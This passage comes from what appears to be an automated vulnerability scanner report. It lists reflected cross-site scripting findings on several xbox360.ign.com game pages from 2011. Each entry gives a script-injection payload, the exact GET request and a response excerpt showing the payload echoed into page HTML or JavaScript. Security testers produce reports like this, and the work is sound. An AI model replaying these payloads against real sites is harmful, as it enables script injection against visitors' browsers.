Set-Cookie: freq=c-1297044986081v-1n-12mc+1297044986081mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 162132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Xbox 360 Games
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/upcoming.html?ab34e"><script>alert(1)</script>98e8b63aa9=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.742. http://xbox360.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8860"><script>alert(1)</script>87e832bf80e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?f8860"><script>alert(1)</script>87e832bf80e=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-392867592-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044984489v-1n-12mc+1297044984489mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 123301

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Xbox 360: Game
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/videos.html?f8860"><script>alert(1)</script>87e832bf80e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.743. http://xbox360.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd3d0"-alert(1)-"8b4181d34d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?bd3d0"-alert(1)-"8b4181d34d5=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-679460294-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044987378v-1n-12mc+1297044987378mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 123284

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Xbox 360: Game
...[SNIP]...
of _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/videos.html?bd3d0"-alert(1)-"8b4181d34d5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.744. http://xbox360.ign.com/objects/055/055051.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/055/055051.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a347"><script>alert(1)</script>344303f0e5b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/055/055051.html?1a347"><script>alert(1)</script>344303f0e5b=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 120302
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=23h2age750mha;Path=/includes
Set-Cookie: freq=c-1297045022851v-1n-12mc+1297045022851mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1621645152-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:02 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:03 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Batman: Arkha
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/055/055051.html?1a347"><script>alert(1)</script>344303f0e5b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.745. http://xbox360.ign.com/objects/055/055051.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/055/055051.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 607de"-alert(1)-"9cc7fee4718 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/055/055051.html?607de"-alert(1)-"9cc7fee4718=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 120242
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=4l4s2v4l75usp;Path=/includes
Set-Cookie: freq=c-1297045026340v-1n-12mc+1297045026340mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-529466913-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:06 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:06 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Batman: Arkha
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/055/055051.html?607de"-alert(1)-"9cc7fee4718=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.746. http://xbox360.ign.com/objects/064/064330.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/064/064330.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9d9a"-alert(1)-"12f4386c0de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/064/064330.html?d9d9a"-alert(1)-"12f4386c0de=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 118697
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=1r87rw7dgtvpb;Path=/includes
Set-Cookie: freq=c-1297045020447v-1n-12mc+1297045020447mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1019484977-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:00 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:00 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Portal 2</tit
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/064/064330.html?d9d9a"-alert(1)-"12f4386c0de=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.747. http://xbox360.ign.com/objects/064/064330.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/064/064330.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec5b4"><script>alert(1)</script>993a6fcd9f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/064/064330.html?ec5b4"><script>alert(1)</script>993a6fcd9f3=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 118965
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=34qun3ftn0bgi;Path=/includes
Set-Cookie: freq=c-1297045018254v-1n-12mc+1297045018254mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-247479526-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:58 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Portal 2</tit
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/064/064330.html?ec5b4"><script>alert(1)</script>993a6fcd9f3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.748. http://xbox360.ign.com/objects/070/070921.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/070/070921.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df7da"-alert(1)-"db4bc29fa59 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/070/070921.html?df7da"-alert(1)-"db4bc29fa59=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123518
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=a2bce3iso2l89;Path=/includes
Set-Cookie: freq=c-1297045027959v-1n-12mc+1297045027959mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-2093025070-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:08 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Marvel Vs. Ca
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/070/070921.html?df7da"-alert(1)-"db4bc29fa59=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.749. http://xbox360.ign.com/objects/070/070921.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/070/070921.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f95bf"><script>alert(1)</script>c7eaae8aa1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/070/070921.html?f95bf"><script>alert(1)</script>c7eaae8aa1d=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123506
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=ku75o33ntta1;Path=/includes
Set-Cookie: freq=c-1297045025684v-1n-12mc+1297045025684mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-964548510-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:06 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Marvel Vs. Ca
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/070/070921.html?f95bf"><script>alert(1)</script>c7eaae8aa1d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.750. http://xbox360.ign.com/objects/077/077644.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/077/077644.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a0fe"><script>alert(1)</script>f9ecbe7bf81 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/077/077644.html?1a0fe"><script>alert(1)</script>f9ecbe7bf81=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 125293
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=2er908o5p09c;Path=/includes
Set-Cookie: freq=c-1297045024622v-1n-12mc+1297045024622mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-2041733950-13;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:04 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:05 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Battlefield:
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/077/077644.html?1a0fe"><script>alert(1)</script>f9ecbe7bf81=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.751. http://xbox360.ign.com/objects/077/077644.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/077/077644.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d66f1"-alert(1)-"eebb81dd76d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/077/077644.html?d66f1"-alert(1)-"eebb81dd76d=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 125125
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=368cm7nap1cgq;Path=/includes
Set-Cookie: freq=c-1297045027902v-1n-12mc+1297045027902mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-38590805-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:08 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Battlefield:
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/077/077644.html?d66f1"-alert(1)-"eebb81dd76d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.752. http://xbox360.ign.com/objects/077/077723.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/077/077723.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86478"-alert(1)-"1ce97297215 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/077/077723.html?86478"-alert(1)-"1ce97297215=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 124358
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=uqeh9uusen0t;Path=/includes
Set-Cookie: freq=c-1297045029091v-1n-12mc+1297045029091mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-1434027897-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:09 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Pac-Man Champ
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/077/077723.html?86478"-alert(1)-"1ce97297215=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.753. http://xbox360.ign.com/objects/077/077723.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/077/077723.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b230a"><script>alert(1)</script>a4d6ef046e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/077/077723.html?b230a"><script>alert(1)</script>a4d6ef046e4=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 124471
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=211am77ppfmpp;Path=/includes
Set-Cookie: freq=c-1297045025878v-1n-12mc+1297045025878mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-121299560-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:06 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Pac-Man Champ
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/077/077723.html?b230a"><script>alert(1)</script>a4d6ef046e4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.754. http://xbox360.ign.com/objects/080/080342.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/080/080342.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6c08"-alert(1)-"771f5a43bae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/080/080342.html?f6c08"-alert(1)-"771f5a43bae=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 119480
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=2fdq4g2s4x6vb;Path=/includes
Set-Cookie: freq=c-1297045021999v-1n-12mc+1297045021999mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1039893773-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:01 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:02 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Dragon Age II
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/080/080342.html?f6c08"-alert(1)-"771f5a43bae=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.755. http://xbox360.ign.com/objects/080/080342.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/080/080342.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e265f"><script>alert(1)</script>5d610558be was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/080/080342.html?e265f"><script>alert(1)</script>5d610558be=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 119558
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=5gm25jlvdjfg8;Path=/includes
Set-Cookie: freq=c-1297045018357v-1n-12mc+1297045018357mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-202906189-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
